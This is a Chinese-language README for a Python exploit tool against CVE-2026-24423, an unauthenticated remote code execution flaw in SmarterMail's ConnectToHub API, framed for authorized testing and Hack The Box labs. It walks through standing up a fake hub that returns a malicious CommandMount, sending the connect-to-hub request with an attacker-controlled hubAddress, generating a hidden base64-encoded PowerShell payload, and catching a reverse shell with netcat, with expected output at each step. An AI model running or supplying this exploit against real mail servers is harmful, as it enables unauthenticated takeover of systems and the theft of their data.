一个基于 Python 的漏洞利用工具,针对 CVE-2026-24423,即 SmarterTools SmarterMail 的 ConnectToHub 功能中存在的未认证远程代码执行漏洞。
预期用途: 仅限授权安全测试、CTF、Hack The Box 实验环境以及受控研究环境。
仅可用于您拥有或明确授权测试的系统。请参阅 SECURITY.md。
# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate
# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
# (see the Configuration section below)
# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py
需要 Python 3.6+(仅使用标准库)。完整操作步骤见下方 使用方法 部分。
CVE-2026-24423 是一个影响 SmarterTools SmarterMail 的未认证远程代码执行漏洞。
该漏洞存在于 ConnectToHub 功能中。未认证的攻击者可以提供恶意的 hubAddress,导致 SmarterMail 服务器向攻击者控制的服务器发起 HTTP 请求。
恶意服务器会返回一个精心构造的 setup-initial-connection 响应,其中包含受攻击者控制的 SystemMount.CommandMount 值。
随后,存在漏洞的 SmarterMail 实例会将该值作为操作系统命令进行处理,从而允许在 SmarterMail 服务的安全上下文中执行任意命令。
该漏洞被评定为 CVSS 4.0 评分 9.3(严重),并归类为 CWE-306:关键功能缺少身份验证。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-24423 |
| 厂商 | SmarterTools |
| 产品 | SmarterMail |
| 漏洞类型 | 未认证远程代码执行 |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 严重 |
| CVSS v3.1 | 9.8 严重 |
| 攻击向量 | 网络 |
| 身份验证 | 无 |
| 用户交互 | 无 |
| 复杂度 | 低 |
| 发布日期 | 2026 年 1 月 23 日 |
| 修复版本 | 9511 |
官方 CVE 记录将该问题描述为通过 ConnectToHub API 方法实现的未认证 RCE。
Build 9511 之前的 SmarterMail 版本均受影响。
CVE 记录指定的受影响范围为:
SmarterMail < 100.0.9511
9511 版本于 2026 年 1 月 15 日发布,包含厂商修复。
< 100.0.9511
>= 100.0.9511
在尝试复现漏洞之前,请务必确认实际安装的具体版本。
存在漏洞的功能通过 SmarterMail 系统管理 API 暴露。
相关操作如下:
/api/v1/settings/sysadmin/connect-to-hub
该端点接受一个 hubAddress 参数。
从概念上讲,攻击者可以提供:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
随后 SmarterMail 会连接到所提供的 hub 地址并请求:
/web/api/node-management/setup-initial-connection
攻击者控制的服务器会返回包含恶意 SystemMount 对象的 JSON。
关键属性为:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
随后,存在漏洞的应用程序会将 CommandMount 值用作操作系统命令。
这允许攻击者从:
未认证 HTTP 请求
转变为:
远程命令执行
VulnCheck 的技术分析证实,攻击者控制的 hubAddress 会导致 SmarterMail 请求攻击者的 setup-initial-connection 端点,并且返回的 CommandMount 可以实现任意命令执行。
该漏洞利用由两个组件组成:
Python 服务器监听:
POST /web/api/node-management/setup-initial-connection
并返回包含恶意 SystemMount.CommandMount 的精心构造的 JSON 响应。
一个独立的 TCP 监听器接收目标上执行的命令所发起的连接。
该漏洞利用有意使用两个独立的端口。
8081
└── 伪造的 SmarterMail Hub
4455
└── 反向 Shell 监听器
flowchart LR
A[Attacker<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail Target<br/>10.129.57.86]
C[CommandMount<br/>Command Execution]
P[PowerShell]
L[Reverse Shell Listener<br/>TCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> A
Target
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
这些端口用途不同,不应混淆。
该漏洞利用仅使用 Python 标准库模块:
http.server
json
base64
无需外部 Python 包。
编辑以下变量:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
对于示例 HTB 环境:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST 是目标可以访问到的攻击者 IP 地址。
对于 Hack The Box,这通常是分配给 HTB VPN 接口的 IP:
ip addr show tun0
示例:
tun0:
inet 10.10.14.50
因此:
LHOST = "10.10.14.50"
LPORT 是攻击者用于接收反向连接的 TCP 端口。
示例:
LPORT = 4455
HUB_PORT 是恶意 SmarterMail hub 使用的 HTTP 端口。
示例:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
编辑:
nano exploit.py
设置:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
打开一个终端:
nc -lvnp 4455
预期输出:
Listening on 0.0.0.0 4455
保持该终端打开。
打开第二个终端:
python3 exploit.py
如果绑定所选端口需要提升权限:
sudo python3 exploit.py
预期输出:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
向存在漏洞的 SmarterMail 实例发送相应的请求。
所提供的 hubAddress 必须指向恶意 HTTP 服务器:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
关键值为:
http://10.10.14.50:8081
不要将反向 Shell 端口用作 hub 端口。
| 用途 | IP | 端口 |
|---|---|---|
| 攻击者 VPN | 10.10.14.50 | — |
| 伪造的 SmarterMail Hub | 10.10.14.50 | 8081 |
| 反向 Shell | 10.10.14.50 | 4455 |
| HTB 目标 | 10.129.57.86 | — |
由此产生的流程为:
hubAddress
↓
10.10.14.50:8081
↓
Malicious CommandMount
↓
PowerShell
↓
10.10.14.50:4455
该漏洞利用会动态创建 PowerShell payload。
PowerShell 的 -EncodedCommand 参数要求命令在 Base64 编码之前使用 UTF-16LE 进行编码。
脚本执行:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
最终命令结构如下:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
这避免了手动编码 payload,并防止常见的 UTF-8/UTF-16LE 编码错误。
当目标连接到恶意 hub 时:
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455
随后反向 Shell 监听器应收到连接:
Connection received on 10.129.57.86 XXXXX
连接后,可以执行基本验证:
whoami
hostname
检查服务器是否正在监听:
ss -lntp | grep 8081
验证 VPN 地址:
ip addr show tun0
确认 LHOST 与目标可访问的地址一致。
HTTP 请求成功意味着第一阶段正常工作:
Target
|
| HTTP
v
Fake Hub :8081
但这并不一定意味着第二阶段成功。